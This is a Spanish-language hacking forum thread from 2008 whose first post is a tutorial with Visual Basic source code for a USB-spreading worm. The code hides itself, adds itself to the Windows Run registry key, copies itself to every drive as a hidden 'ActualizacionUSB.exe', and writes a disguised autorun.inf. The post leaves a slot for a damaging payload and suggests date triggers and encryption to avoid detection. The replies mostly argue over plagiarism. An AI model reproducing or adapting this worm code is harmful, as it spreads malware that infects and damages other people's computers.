Nuevas NORMAS para el foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Julio 26, 2008, 09:45:00
Boton Buscar
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Programacion  |  Programación  |  Visual Basic y Net (Moderador: ANYD00M)  |  Tema: Crea Virus de Propagacion USB |By Daggoth| 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Crea Virus de Propagacion USB |By Daggoth|  (Leído 375 veces)
skullmaster-Back-
Visitante
« en: Marzo 10, 2008, 12:42:47 »

Saludos, bueno para aportarun poco mas al Sub-Foro de VB aqui voy a postear una tecnica es de el  Daggoth , o lo que sea por USB! espero que les guste! Wink

¡¡Comenzemos!!

1- Pequeña Introduccion:

Bueno antes que nada, para hacer que un archivo se auto ejecute con el pendrive necesitamos crear un autorun.inf que este ira en el Root del USB o donde se guardan los archivos! Wink tambien deberia ir nuestro programa que se quiere ejecutar, (Para ver algo de como funciona mas explicadito pasarse por Batch y buscar un post que dice ejecutar archivos por USB o algo asi Wink)


2- Mecanismo de Trabajo:

  El virus lo que hara es comprobar con un timer si hay algun USB si lo hay, compruba o mira a ver si ya nos hemos copiado si no nos copiamos se copia a este!

3- Programando el "Virus"

La programacion de este Virus o como lo llamen es muy facil nada mas necesitamos agregar un timer con esto:

Enabled = False
Interval = 0


ahora en las prop. del form las estableceremos asi:

ShowInTaskbar = false
Visible = false


para que ni salga en el Task y sea invisible nuestro form! Wink
Comenzamos a codear! Tongue

Buen antes que nada hay que declarar ciertas variables:
Código:
Option Explicit
Dim ñ, j, x
Public var
Public fass
Public midir As String, dir As String

no hay nada que explicar solo variables! Wink

Código:
Private Sub Form_Initialize()
Timer1.Interval = 2000
Timer1.Enabled = True
Set var = CreateObject("scripting.filesystemobject")
Set fass = CreateObject("wscript.shell")
midir = fass.BuildPath(App.Path, App.EXEName & ".exe")
End Sub

bueno esto lo que hara sera iniciar el timer con 2 seg. declaramos las variables o creamos el objeto (Con lo que nos agregamos al reg, y nos copiamos) y al final la ruta!...

Código:
Private Sub Form_Load()
fass.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\micros" ,midir
Call hallar
End Sub

pues esta parte a mi punto de vista no tiene explicacion, se puede entender facilemnte! Wink solo digo que nos vamos a guardar en el registro con el nombre de Micros! Tongue

Código:
Sub hallar()
For x = 66 To 90
    ñ = Chr(x)
    j = ñ & ":\"
        If var.DriveExists(j) Then
            Call creavirus(j)
            Call propaga(j)
        End If
Next x
End Sub

pues aqui explicare que lo que hace le sub hallar es buscar del 66 a 90 Skull pero porque del 66 al 90 pues simple porque estos si se le pasa la funcion Chr nos dara una letra de entre el b y z y lo mejor que estos estan en mayusculas! Wink luego se le pasa el valor a x que esta transforma el numero en letra luego a la f que pone la letra y el caracter :\ osea quedaria asi letra:\ (Ejemplo F:\ Wink) luego comprobamos si driveexiste(f) osea comrpbamos si por ejemplo el Drive Exist B:\ si existe llama a las funciones crevirus y propaga sino sigue la cuenta! Tongue

Código:
Sub creavirus(j)
On Error Resume Next
 
If var.FolderExists(j & "Configuracion") Then
Exit Sub
Else
    dir = (j & "Configuracion")
    var.CreateFolder (dir)
    SetAttr dir, vbHidden
End If
End Sub

pues esta es simple primero comprobamos si ya excistimos, si excistimos le damos un gran end sub si no nos creamos con el nombre Configuracion (Ustedes se lo pueden cambiar Wink) luego nos crea la carpeta etc...

Código:
Sub propaga(j)
On Error Resume Next
 
If var.FileExists(j & "Configuracion\ActualizacionUSB.exe") Then
Else
    FileCopy midir, j & "Configuracion\ActualizacionUSB.exe"
End If
 
If var.FileExists(j & "autorun.inf") Then
Else
    Open f & "autorun.inf" For Append As #1
    Print #1, "[autorun]"
    Print #1, "open=.\Configuracion\ActualizacionUSB.exe"
    Print #1, "shell\1=Abrir"
    Print #1, "shell\1\Command=.\Configuracion\ActualizacionUSB.exe"
    Print #1, "shell\2\=Reparar Danos"
    Print #1, "shell\2\Command=.\Configuracion\ActualizacionUSB.exe"
    Print #1, "shellexecute=.\Configuracion\ActualizacionUSB.exe"
    Close #1
End If
 
SetAttr j & "Configuracion\ActualizacionUSB.exe", vbSystem
SetAttr j & "autorun.inf", vbHidden
End Sub


Bueno aqui lo que hacemos es comprobar si nuestro .exe exciste si exciste nada si no nos copiamos luego comprobamos si exciste el autorun.inf si no excistimos nos creamos!

Código:
Private Sub Timer1_Timer()
Call hallar
Call daño ' aqui es donde va lo que queramos que haga el virus
End Sub

pues llegamos a la funcion del timer! que llama a hallar y daño! Wink

Código:
Private sub daño()
do
msgbox ("Juaked By-Skull")
Loop
End Sub

pues miren en daño NO pongan lo que puse yo!xD esto lo hise con propositos instructivos y quite lo que yo le puse al mio (Mi virus) en daño pueden poner lo que quieran! Wink recomiendo poner para un dia de fecha o algo asi, apra que no cante tanto! Wink

Bueno en este enseño como aprendi a crear este tipo de virus! Tongue si tiene algun error el programa diganme para acomodarlo!xD recomiendo encriptar algunas cosas!
Bueno espero haber enseñado bien como me enseñaron a mi!xD Tongue si tiene error disculpen y diganme para acomodarlo! Wink

Salu2's! Cool


Post Original:


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
« Última modificación: Marzo 28, 2008, 08:31:01 por skullmaster123 » En línea
Daggoth
Recien Llegado
*
Desconectado Desconectado

Mensajes: 1


Ver Perfil Email
« Respuesta #1 en: Marzo 19, 2008, 07:32:03 »

¡¡¡Carajo qiyo!!!


Es curioso pero se parece enormemente al tutorial que YO hice aqui:

Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion

Tan solo has cambiado un par de nombres y ya esta. No es que me moleste, pero al menos pon el nombre del autor original, vamos digo yo, ¿no?.
En línea
Aleks
Moderación
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 2627


Mehr licht


Ver Perfil Email
« Respuesta #2 en: Marzo 19, 2008, 08:08:18 »

No es bueno eso de estar copiando sin pedir permiso Skull , ya lo he visto varias veces en ti.
En línea





Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion



Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion

I´ll see you in the other side, I know it!
-ZeR0™-
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1052


HaCkIng & SeCuRiTy


Ver Perfil WWW
« Respuesta #3 en: Marzo 19, 2008, 08:50:58 »

Es el mismo texto...
En línea



Hardware Info

*S.O: MS Windows XP Professional SP2
*Procesador: AMD Duron
*Placa base:  PCChips M810LR

*Memoria RAM: SdRam (2 X 128Mb)
*Tarjeta Gráfica: SIS300/305/630/540/730

*Regrabador: LITE-ON   DVDRW SOHW-1673S   
*Disco Duro: Maxtor 6 E040L0
ziX92
Moderación
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1956


I Love Desing


Ver Perfil
« Respuesta #4 en: Marzo 19, 2008, 09:00:23 »

Bueno lo mas recomendable era que postear el autor del post pero mandenle un Im para que modifique y ya esta Wink

Saludoz!
En línea


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Galeria de Diseño de ziX


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Ciber Wolf
Visitante
« Respuesta #5 en: Marzo 19, 2008, 09:02:25 »

me imagino que Skull no sabe ni lo que hace ese codigo  Cheesy Cheesy Cheesy Cheesy
En línea
gigiosun
Miembro
*****
Desconectado Desconectado

Mensajes: 51



Ver Perfil Email
« Respuesta #6 en: Mayo 02, 2008, 07:34:03 »

no me resulta, me tira un error de depuracion :s
En línea

Tecnologo Medico
ANYD00M
Moderadores
Colaborador
*****
Desconectado Desconectado

Mensajes: 692


.:Beethoven's Count:.

maxigile_tl@hotmail.com
Ver Perfil WWW Email
« Respuesta #7 en: Mayo 03, 2008, 09:47:51 »

no me resulta, me tira un error de depuracion :s

Que codigo estas probando?
En línea


Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion



Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion
Aleks
Moderación
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 2627


Mehr licht


Ver Perfil Email
« Respuesta #8 en: Mayo 04, 2008, 11:42:48 »

Gigiosun el post Original es de otra web y allí su autor ha dejado un par de errorcillos de adrede, para evitar el copy and paste, ademas les digo que el autor es Dagoth, yo mismo modifique el titulo y el post con el link del source, dándole los créditos al mencionado por la genial explicación y el codigo.

En línea





Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion



Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion

I´ll see you in the other side, I know it!
Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Programacion  |  Programación  |  Visual Basic y Net (Moderador: ANYD00M)  |  Tema: Crea Virus de Propagacion USB |By Daggoth| « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.5 | SMF © 2006-2007, Simple Machines LLC